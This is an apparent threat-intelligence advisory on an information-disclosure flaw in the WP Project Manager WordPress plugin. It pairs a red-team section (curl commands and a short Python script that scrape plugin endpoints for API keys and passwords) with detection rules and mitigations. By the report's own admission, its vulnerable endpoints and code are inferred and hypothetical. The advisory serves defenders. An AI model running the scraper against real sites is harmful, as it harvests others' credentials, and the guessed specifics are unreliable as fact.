CVE-2025-68040

Executive Summary

CVE-2025-68040 is a medium-severity information disclosure vulnerability affecting the WP Project Manager plugin by weDevs, a widely used project management tool within the WordPress ecosystem. The vulnerability allows an unauthenticated attacker to retrieve embedded sensitive data by exploiting the "Insertion of Sensitive Information Into Sent Data" weakness. This means that the plugin inadvertently includes sensitive information (such as API keys, internal paths, or user data) in its HTTP responses or logs, which can be intercepted or scraped by a remote attacker.

The vulnerability affects all versions of the plugin up to and including 3.0.1. No patch has been released by the vendor at the time of analysis. The CVSS score of 6.5 (Medium) reflects the ease of exploitation (network-based, low complexity, no privileges required) but limited impact on confidentiality (no direct impact on integrity or availability). The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but this may change as proof-of-concept code emerges.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository and can be installed directly from the WordPress admin dashboard. Since no patch is available, users are advised to consider the plugin as a supply chain risk. Organizations using this plugin should monitor the vendor's release channels for updates and consider temporary removal or replacement until a fix is available.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions or complex attack sequences are required.
• Privileges Required (PR): None (N) – No authentication is needed to exploit.
• User Interaction (UI): None (N) – The victim does not need to perform any action.
• Scope (S): Unchanged (U) – The exploitation does not affect other components.
• Confidentiality (C): Low (L) – Limited sensitive data exposure.
• Integrity (I): None (N) – No data modification.
• Availability (A): None (N) – No denial of service.

Threat Level: Medium. The vulnerability is easy to exploit but only leads to information disclosure. However, the exposed data could be used to pivot to other attacks (e.g., credential theft, API abuse).

Deep Dive & Mechanics

The vulnerability stems from the plugin's failure to sanitize or filter sensitive information before including it in HTTP responses. Specifically, the plugin's REST API endpoints or AJAX handlers may return data that includes:

• Database credentials (if misconfigured)
• Internal file paths
• API keys for third-party services (e.g., Slack, Trello integrations)
• User email addresses or hashed passwords
• Nonce tokens or session identifiers

The "Insertion of Sensitive Information Into Sent Data" (CWE-201) occurs when the plugin uses user-supplied input in a way that reflects back sensitive data without proper access control or output encoding. For example, a debug endpoint might return the full configuration array, or a project export function might include hidden metadata.

The attack vector is simple: an attacker sends a crafted HTTP request to a vulnerable endpoint (e.g., /wp-json/wp-project-manager/v1/projects or a custom AJAX action) and parses the response for sensitive strings. Since no authentication is required, the attack can be automated.

Vulnerable vs. Patched Code

Since no patch is available, we can only infer the vulnerable code pattern. The likely vulnerable code is in the plugin's REST API controller or AJAX handler where data is returned without proper filtering.

Vulnerable Code (Hypothetical):

// In a REST API endpoint
function get_project_details( $request ) {
    $project_id = $request->get_param( 'id' );
    $project = get_post( $project_id );
    // Returns all meta data including sensitive fields
    return new WP_REST_Response( get_post_meta( $project_id ), 200 );
}

Patched Code (Hypothetical):

function get_project_details( $request ) {
    $project_id = $request->get_param( 'id' );
    $project = get_post( $project_id );
    // Only return allowed fields
    $allowed_fields = array( 'title', 'description', 'status' );
    $safe_data = array_intersect_key( get_post_meta( $project_id ), array_flip( $allowed_fields ) );
    return new WP_REST_Response( $safe_data, 200 );
}

The patch would involve implementing a whitelist of allowed fields and ensuring that sensitive metadata (e.g., _api_key, _db_password) is never exposed.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with WP Project Manager <= 3.0.1 installed and activated.
• Network access to the site.

Exploitation Steps:

1. Identify vulnerable endpoints by scanning for common REST API routes:

   curl -s http://target.com/wp-json/wp-project-manager/v1/
   

2. Enumerate projects and their metadata:

   curl -s http://target.com/wp-json/wp-project-manager/v1/projects | jq '.'
   

3. Look for sensitive fields in the response, such as api_key, password, token, or secret.
4. If a specific endpoint is found (e.g., /wp-admin/admin-ajax.php?action=pm_get_project&id=1), craft a request to extract data:

   curl -s "http://target.com/wp-admin/admin-ajax.php?action=pm_get_project&id=1" | grep -E "(api_key|secret|password)"
   

Automated Exploit (Python):

import requests
import sys

target = sys.argv[1]
endpoints = [
    "/wp-json/wp-project-manager/v1/projects",
    "/wp-admin/admin-ajax.php?action=pm_get_project&id=1"
]

for ep in endpoints:
    r = requests.get(target + ep)
    if "api_key" in r.text or "secret" in r.text:
        print(f"[+] Sensitive data found at {ep}")
        print(r.text[:500])

Blue Team (Detection & Defense)

Detection:

• Monitor for unusual requests to /wp-json/wp-project-manager/v1/ or admin-ajax.php with action=pm_* parameters.
• Look for responses containing patterns like api_key, password, token, or secret in the body.
• Use WAF rules to block requests that attempt to enumerate project IDs (e.g., sequential IDs).

Defense:

• Disable the plugin until a patch is available.
• If removal is not possible, restrict access to the plugin's REST API using .htaccess or a security plugin:

  <IfModule mod_rewrite.c>
  RewriteEngine On
  RewriteRule ^wp-json/wp-project-manager - [F,L]
  </IfModule>
  

• Implement a reverse proxy to filter sensitive data from responses.
• Enable logging of all REST API requests and review for anomalies.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /wp-json/wp-project-manager/v1/projects or similar endpoints.
  • Responses containing patterns like api_key, secret, password, token, db_host, db_user.
  • Unusual user-agent strings (e.g., python-requests, curl).

• File IOCs:

  • Log entries in wp-content/debug.log showing sensitive data exposure.
  • Modified plugin files (if attacker uploads a backdoor).

• Behavioral IOCs:

  • Multiple sequential requests to project endpoints (enumeration).
  • Requests from IP addresses not associated with legitimate users.

Detection Engineering

YARA Rule

rule CVE_2025_68040_Sensitive_Data_Exposure {
    meta:
        description = "Detects sensitive data exposure in WP Project Manager plugin responses"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-68040"
    strings:
        $sensitive1 = /api_key["']?\s*[:=]\s*["'][^"']+["']/ nocase
        $sensitive2 = /secret["']?\s*[:=]\s*["'][^"']+["']/ nocase
        $sensitive3 = /password["']?\s*[:=]\s*["'][^"']+["']/ nocase
        $sensitive4 = /token["']?\s*[:=]\s*["'][^"']+["']/ nocase
        $wp_route = "wp-json/wp-project-manager"
    condition:
        any of ($sensitive*) and $wp_route
}

Sigma Rule

title: CVE-2025-68040 - WP Project Manager Sensitive Data Exposure
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP responses from WP Project Manager plugin containing sensitive data patterns
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains: 
            - "wp-json/wp-project-manager"
            - "admin-ajax.php?action=pm_"
    keywords:
        - "api_key"
        - "secret"
        - "password"
        - "token"
    condition: selection and keywords
falsepositives:
    - Legitimate plugin functionality (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-68040 - WP Project Manager Sensitive Data Exposure"; flow:to_server,established; content:"wp-json/wp-project-manager"; http_uri; pcre:"/(api_key|secret|password|token)/i"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if it is not critical to operations. Go to Plugins > Installed Plugins and deactivate "WP Project Manager".
2. If the plugin must remain active, implement a Web Application Firewall (WAF) rule to block requests to the vulnerable endpoints:

   location ~* ^/wp-json/wp-project-manager {
       deny all;
       return 403;
   }
   

3. Monitor logs for any signs of exploitation (see IOCs).

Long-Term Fix:

• Wait for the vendor (weDevs) to release a patched version. Subscribe to their security advisories.
• Once a patch is available, update the plugin immediately.
• Consider migrating to an alternative project management plugin that is actively maintained and has a good security track record.

Valters IT Signature

This report was generated by Valters IT Cyber Threat Intelligence Division. For questions or incident response assistance, contact soc@valters-it.com.